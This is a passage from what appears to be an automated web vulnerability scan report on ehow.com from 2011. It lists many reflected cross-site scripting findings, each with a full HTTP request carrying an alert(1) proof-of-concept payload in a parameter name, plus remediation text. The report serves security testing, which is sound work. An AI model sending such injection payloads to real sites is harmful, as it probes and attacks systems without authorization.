<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Job Search & Employment - How To Information | eH ...[SNIP]... <fb:like href="http://www.ehow.com/job-search-and-employment/?4e424'-alert(1)-'d58b620fb9=1" ref="like" width="300"> ...[SNIP]...
4.393. http://www.ehow.com/lawn-and-garden/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/lawn-and-garden/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9de4d'-alert(1)-'a2435ec230d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /lawn-and-garden/?9de4d'-alert(1)-'a2435ec230d=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:28 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 67905
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Lawn & Garden - How To Information | eHow.com</ti ...[SNIP]... <fb:like href="http://www.ehow.com/lawn-and-garden/?9de4d'-alert(1)-'a2435ec230d=1" ref="like" width="300"> ...[SNIP]...
4.394. http://www.ehow.com/legal/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/legal/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c967'-alert(1)-'f0d7f914f94 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /legal/?7c967'-alert(1)-'f0d7f914f94=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:45 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73302
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Legal - How To Information | eHow.com</title>
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10d4f'-alert(1)-'1fbf08c4b2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /list_6515049_common-english-grammar-mistakes.html?10d4f'-alert(1)-'1fbf08c4b2=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:06 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73897
4.396. http://www.ehow.com/list_7189463_grammar-check-tools.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/list_7189463_grammar-check-tools.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f696'-alert(1)-'36d4bf4f664 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /list_7189463_grammar-check-tools.html?8f696'-alert(1)-'36d4bf4f664=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:11 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74112
4.397. http://www.ehow.com/mental-health/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/mental-health/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6eff9'-alert(1)-'f101b15d2dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mental-health/?6eff9'-alert(1)-'f101b15d2dd=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:52 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70531
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Mental Health - How To Information | eHow.com</ti ...[SNIP]... <fb:like href="http://www.ehow.com/mental-health/?6eff9'-alert(1)-'f101b15d2dd=1" ref="like" width="300"> ...[SNIP]...
4.398. http://www.ehow.com/music/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/music/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c895b'-alert(1)-'64cf7ef5a86 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /music/?c895b'-alert(1)-'64cf7ef5a86=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:55 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70451
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Music - How To Information | eHow.com</title>
4.399. http://www.ehow.com/parenting/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/parenting/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d92b9'-alert(1)-'0c6c4fea76f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /parenting/?d92b9'-alert(1)-'0c6c4fea76f=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:52 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71130
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Parenting - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/parenting/?d92b9'-alert(1)-'0c6c4fea76f=1" ref="like" width="300"> ...[SNIP]...
4.400. http://www.ehow.com/personal-finance/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/personal-finance/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af06a'-alert(1)-'0adecf09358 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /personal-finance/?af06a'-alert(1)-'0adecf09358=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:55 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72649
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Personal Finance - How To Information | eHow.com< ...[SNIP]... <fb:like href="http://www.ehow.com/personal-finance/?af06a'-alert(1)-'0adecf09358=1" ref="like" width="300"> ...[SNIP]...
4.401. http://www.ehow.com/pets-and-animals/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/pets-and-animals/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b3ff'-alert(1)-'99115dd9ab8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pets-and-animals/?4b3ff'-alert(1)-'99115dd9ab8=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:56 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73362
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Pets & Animals - How To Information | eHow.com</t ...[SNIP]... <fb:like href="http://www.ehow.com/pets-and-animals/?4b3ff'-alert(1)-'99115dd9ab8=1" ref="like" width="300"> ...[SNIP]...
4.402. http://www.ehow.com/plant-care/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/plant-care/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca0be'-alert(1)-'24a20a51608 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /plant-care/?ca0be'-alert(1)-'24a20a51608=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:56 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70342
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Plant Care - How To Information | eHow.com</title ...[SNIP]... <fb:like href="http://www.ehow.com/plant-care/?ca0be'-alert(1)-'24a20a51608=1" ref="like" width="300"> ...[SNIP]...
4.403. http://www.ehow.com/plants/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/plants/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6081b'-alert(1)-'569f4a88c46 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /plants/?6081b'-alert(1)-'569f4a88c46=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:12 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70810
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Plants - How To Information | eHow.com</title>
4.404. http://www.ehow.com/real-estate-and-investment/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/real-estate-and-investment/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53aa7'-alert(1)-'f84def696ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /real-estate-and-investment/?53aa7'-alert(1)-'f84def696ff=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:14 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71097
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Real Estate & Investment - How To Information | e ...[SNIP]... <fb:like href="http://www.ehow.com/real-estate-and-investment/?53aa7'-alert(1)-'f84def696ff=1" ref="like" width="300"> ...[SNIP]...
4.405. http://www.ehow.com/recipes/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/recipes/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e535'-alert(1)-'5ff63e72f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recipes/?9e535'-alert(1)-'5ff63e72f1=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72823
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Recipes - How To Information | eHow.com</title>
4.406. http://www.ehow.com/recreational-activities/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/recreational-activities/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6547a'-alert(1)-'db6d13f88f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recreational-activities/?6547a'-alert(1)-'db6d13f88f8=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:12 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70427
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Recreational Activities - How To Information | eH ...[SNIP]... <fb:like href="http://www.ehow.com/recreational-activities/?6547a'-alert(1)-'db6d13f88f8=1" ref="like" width="300"> ...[SNIP]...
4.407. http://www.ehow.com/relationships-and-family/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/relationships-and-family/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 444c6'-alert(1)-'5534980880c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /relationships-and-family/?444c6'-alert(1)-'5534980880c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:12 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70621
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Relationships & Family - How To Information | eHo ...[SNIP]... <fb:like href="http://www.ehow.com/relationships-and-family/?444c6'-alert(1)-'5534980880c=1" ref="like" width="300"> ...[SNIP]...
4.408. http://www.ehow.com/sports/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/sports/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ad51'-alert(1)-'d33a740e072 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sports/?1ad51'-alert(1)-'d33a740e072=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:15 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71169
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Sports - How To Information | eHow.com</title>
4.409. http://www.ehow.com/topic_227_take-pictures.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_227_take-pictures.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 590af'-alert(1)-'b3eeb86d5e9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_227_take-pictures.html?590af'-alert(1)-'b3eeb86d5e9=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.410. http://www.ehow.com/topic_2488_lose-weight.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_2488_lose-weight.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c273d'-alert(1)-'baed76bbb17 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
